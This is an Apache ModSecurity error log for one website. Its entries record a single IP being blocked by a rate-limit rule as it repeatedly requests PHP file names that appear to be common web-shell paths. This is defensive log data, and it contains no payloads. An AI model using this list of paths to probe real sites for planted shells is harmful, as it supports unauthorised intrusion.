[Sun Jan 04 22:16:07.118816 2026] [:error] [pid 43583:tid 43610] [client 4.241.234.12:15180] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aVp2J-ZbrSRUiJ-RX9ZCoAAAAVU"]
[Sun Jan 04 22:16:07.404483 2026] [:error] [pid 29351:tid 29386] [client 4.241.234.12:15342] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aVp2J5tGiMsRmNcKXvpHkwAAAsI"]
[Sun Jan 04 22:16:07.715492 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:15169] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aVp2J5tGiMsRmNcKXvpHlQAAAsg"]
[Sun Jan 04 22:16:08.111312 2026] [:error] [pid 48667:tid 48709] [client 4.241.234.12:15306] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aVp2KHO6aihVIlrNAPj4cgAAAQw"]
[Sun Jan 04 22:16:08.359448 2026] [:error] [pid 45950:tid 46004] [client 4.241.234.12:15193] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4ff11.php"] [unique_id "aVp2KFx-3HUGZIlAI-5SFwAAA5Y"]
[Sun Jan 04 22:16:08.674658 2026] [:error] [pid 45863:tid 45873] [client 4.241.234.12:15270] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4ff11.php"] [unique_id "aVp2KFGr1mgeue1bWvTYSwAAAAg"]
[Sun Jan 04 22:16:09.060042 2026] [:error] [pid 48727:tid 48773] [client 4.241.234.12:15002] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4ff11.php"] [unique_id "aVp2KfgJtUs-E_QT0ibaLQAAA1A"]
[Sun Jan 04 22:16:09.370715 2026] [:error] [pid 42666:tid 42706] [client 4.241.234.12:15273] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4ff11.php"] [unique_id "aVp2Kfc221c7vwWrOjcVeQAAAwk"]
[Sun Jan 04 22:16:10.087571 2026] [:error] [pid 45949:tid 45976] [client 4.241.234.12:15304] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kla.php"] [unique_id "aVp2KqWUhIYCdxgkhpBQMAAAAhY"]
[Sun Jan 04 22:16:10.360317 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:15283] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kla.php"] [unique_id "aVp2Kvc221c7vwWrOjcVegAAAww"]
[Sun Jan 04 22:16:10.722611 2026] [:error] [pid 45949:tid 45963] [client 4.241.234.12:15196] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kla.php"] [unique_id "aVp2KqWUhIYCdxgkhpBQMgAAAgk"]
[Sun Jan 04 22:16:11.066300 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:15206] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kla.php"] [unique_id "aVp2K1Gr1mgeue1bWvTYTAAAAAQ"]
[Sun Jan 04 22:16:11.452024 2026] [:error] [pid 45949:tid 45964] [client 4.241.234.12:15202] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hzz.php"] [unique_id "aVp2K6WUhIYCdxgkhpBQMwAAAgo"]
[Sun Jan 04 22:16:11.780439 2026] [:error] [pid 43583:tid 43612] [client 4.241.234.12:15175] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hzz.php"] [unique_id "aVp2K-ZbrSRUiJ-RX9ZCoQAAAVc"]
[Sun Jan 04 22:16:12.098088 2026] [:error] [pid 43583:tid 43603] [client 4.241.234.12:15214] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hzz.php"] [unique_id "aVp2LOZbrSRUiJ-RX9ZCogAAAU4"]
[Sun Jan 04 22:16:12.989822 2026] [:error] [pid 43583:tid 43595] [client 4.241.234.12:15356] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hzz.php"] [unique_id "aVp2LOZbrSRUiJ-RX9ZCpAAAAUY"]
[Sun Jan 04 22:16:13.333060 2026] [:error] [pid 48667:tid 48714] [client 4.241.234.12:14982] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mtvcrew.php"] [unique_id "aVp2LXO6aihVIlrNAPj4eAAAARE"]
[Sun Jan 04 22:16:13.633781 2026] [:error] [pid 48667:tid 48720] [client 4.241.234.12:15189] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mtvcrew.php"] [unique_id "aVp2LXO6aihVIlrNAPj4eQAAARc"]
[Sun Jan 04 22:16:13.934772 2026] [:error] [pid 48727:tid 48765] [client 4.241.234.12:15413] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mtvcrew.php"] [unique_id "aVp2LfgJtUs-E_QT0ibaMQAAA0g"]
[Sun Jan 04 22:16:14.212001 2026] [:error] [pid 29351:tid 29406] [client 4.241.234.12:15348] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mtvcrew.php"] [unique_id "aVp2LptGiMsRmNcKXvpHmgAAAtY"]
[Sun Jan 04 22:16:14.498830 2026] [:error] [pid 43583:tid 43597] [client 4.241.234.12:15224] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z58.php"] [unique_id "aVp2LuZbrSRUiJ-RX9ZCpQAAAUg"]
[Sun Jan 04 22:16:14.777636 2026] [:error] [pid 45950:tid 45987] [client 4.241.234.12:15351] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z58.php"] [unique_id "aVp2Llx-3HUGZIlAI-5SGwAAA4U"]
[Sun Jan 04 22:16:15.237991 2026] [:error] [pid 45863:tid 45886] [client 4.241.234.12:15013] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z58.php"] [unique_id "aVp2L1Gr1mgeue1bWvTYUgAAABU"]
[Sun Jan 04 22:16:15.649193 2026] [:error] [pid 48667:tid 48706] [client 4.241.234.12:15217] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z58.php"] [unique_id "aVp2L3O6aihVIlrNAPj4ewAAAQk"]
[Sun Jan 04 22:16:16.013403 2026] [:error] [pid 43583:tid 43606] [client 4.241.234.12:14988] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wle.php"] [unique_id "aVp2MOZbrSRUiJ-RX9ZCqAAAAVE"]
[Sun Jan 04 22:16:16.278297 2026] [:error] [pid 48727:tid 48775] [client 4.241.234.12:15006] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wle.php"] [unique_id "aVp2MPgJtUs-E_QT0ibaNAAAA1I"]
[Sun Jan 04 22:16:16.537574 2026] [:error] [pid 48727:tid 48780] [client 4.241.234.12:14986] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wle.php"] [unique_id "aVp2MPgJtUs-E_QT0ibaNQAAA1c"]
[Sun Jan 04 22:16:16.857177 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:15288] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wle.php"] [unique_id "aVp2MJtGiMsRmNcKXvpHoQAAAsg"]
[Sun Jan 04 22:16:17.149809 2026] [:error] [pid 45863:tid 45865] [client 4.241.234.12:15258] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/new2.php"] [unique_id "aVp2MVGr1mgeue1bWvTYUwAAAAA"]
[Sun Jan 04 22:16:17.495270 2026] [:error] [pid 29351:tid 29388] [client 4.241.234.12:15212] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/new2.php"] [unique_id "aVp2MZtGiMsRmNcKXvpHogAAAsQ"]
[Sun Jan 04 22:16:17.772360 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15460] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/new2.php"] [unique_id "aVp2MeZbrSRUiJ-RX9ZCqgAAAVg"]
[Sun Jan 04 22:16:18.032614 2026] [:error] [pid 45863:tid 45882] [client 4.241.234.12:15192] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/new2.php"] [unique_id "aVp2MlGr1mgeue1bWvTYVAAAABE"]
[Sun Jan 04 22:16:18.313596 2026] [:error] [pid 45863:tid 45889] [client 4.241.234.12:15354] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/09fa6.php"] [unique_id "aVp2MlGr1mgeue1bWvTYVQAAABg"]
[Sun Jan 04 22:16:18.622689 2026] [:error] [pid 45950:tid 45992] [client 4.241.234.12:15208] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/09fa6.php"] [unique_id "aVp2Mlx-3HUGZIlAI-5SHQAAA4o"]
[Sun Jan 04 22:16:18.910429 2026] [:error] [pid 48633:tid 48647] [client 4.241.234.12:15222] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/09fa6.php"] [unique_id "aVp2MnpmEoQIuLH2aWhISwAAAEw"]
[Sun Jan 04 22:16:19.166852 2026] [:error] [pid 48727:tid 48779] [client 4.241.234.12:15523] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/09fa6.php"] [unique_id "aVp2M_gJtUs-E_QT0ibaOQAAA1Y"]
[Sun Jan 04 22:16:19.603051 2026] [:error] [pid 48727:tid 48774] [client 4.241.234.12:15289] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/89.php"] [unique_id "aVp2M_gJtUs-E_QT0ibaOgAAA1E"]
[Sun Jan 04 22:16:19.917058 2026] [:error] [pid 48727:tid 48759] [client 4.241.234.12:15190] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/89.php"] [unique_id "aVp2M_gJtUs-E_QT0ibaOwAAA0I"]
[Sun Jan 04 22:16:20.259279 2026] [:error] [pid 48727:tid 48765] [client 4.241.234.12:15226] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/89.php"] [unique_id "aVp2NPgJtUs-E_QT0ibaPgAAA0g"]
[Sun Jan 04 22:16:20.493395 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:15284] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/89.php"] [unique_id "aVp2NPgJtUs-E_QT0ibaQAAAA0A"]
[Sun Jan 04 22:16:20.752629 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:15199] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aVp2NFGr1mgeue1bWvTYXAAAAAQ"]
[Sun Jan 04 22:16:21.062170 2026] [:error] [pid 45863:tid 45888] [client 4.241.234.12:15194] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aVp2NVGr1mgeue1bWvTYXQAAABc"]
[Sun Jan 04 22:16:21.416811 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:15282] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aVp2NfgJtUs-E_QT0ibaQwAAA08"]
[Sun Jan 04 22:16:21.712381 2026] [:error] [pid 45949:tid 45974] [client 4.241.234.12:15170] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aVp2NaWUhIYCdxgkhpBQOQAAAhQ"]
[Sun Jan 04 22:16:21.956118 2026] [:error] [pid 45949:tid 45973] [client 4.241.234.12:15293] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/has.php"] [unique_id "aVp2NaWUhIYCdxgkhpBQOgAAAhM"]
[Sun Jan 04 22:16:22.209464 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:15216] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/has.php"] [unique_id "aVp2NvgJtUs-E_QT0ibaRgAAA0s"]
[Sun Jan 04 22:16:22.466861 2026] [:error] [pid 48667:tid 48719] [client 4.241.234.12:15231] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/has.php"] [unique_id "aVp2NnO6aihVIlrNAPj4fwAAARY"]
[Sun Jan 04 22:16:22.773745 2026] [:error] [pid 48727:tid 48777] [client 4.241.234.12:15000] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/has.php"] [unique_id "aVp2NvgJtUs-E_QT0ibaSAAAA1Q"]
[Sun Jan 04 22:16:23.091313 2026] [:error] [pid 48727:tid 48781] [client 4.241.234.12:15031] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nax.php"] [unique_id "aVp2N_gJtUs-E_QT0ibaSQAAA1g"]
[Sun Jan 04 22:16:23.420805 2026] [:error] [pid 48633:tid 48642] [client 4.241.234.12:15008] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nax.php"] [unique_id "aVp2N3pmEoQIuLH2aWhITAAAAEc"]
[Sun Jan 04 22:16:23.734271 2026] [:error] [pid 45950:tid 45986] [client 4.241.234.12:14995] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nax.php"] [unique_id "aVp2N1x-3HUGZIlAI-5SHwAAA4Q"]
[Sun Jan 04 22:16:24.004359 2026] [:error] [pid 45863:tid 45875] [client 4.241.234.12:15028] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nax.php"] [unique_id "aVp2OFGr1mgeue1bWvTYYQAAAAo"]
[Sun Jan 04 22:16:24.364307 2026] [:error] [pid 45950:tid 45988] [client 4.241.234.12:15168] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ooj.php"] [unique_id "aVp2OFx-3HUGZIlAI-5SIAAAA4Y"]
[Sun Jan 04 22:16:24.644471 2026] [:error] [pid 45863:tid 45889] [client 4.241.234.12:15340] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ooj.php"] [unique_id "aVp2OFGr1mgeue1bWvTYYwAAABg"]
[Sun Jan 04 22:16:25.217176 2026] [:error] [pid 45950:tid 45997] [client 4.241.234.12:15225] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ooj.php"] [unique_id "aVp2OVx-3HUGZIlAI-5SIgAAA48"]
[Sun Jan 04 22:16:25.482045 2026] [:error] [pid 42666:tid 42703] [client 4.241.234.12:14994] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ooj.php"] [unique_id "aVp2Ofc221c7vwWrOjcVfgAAAwY"]
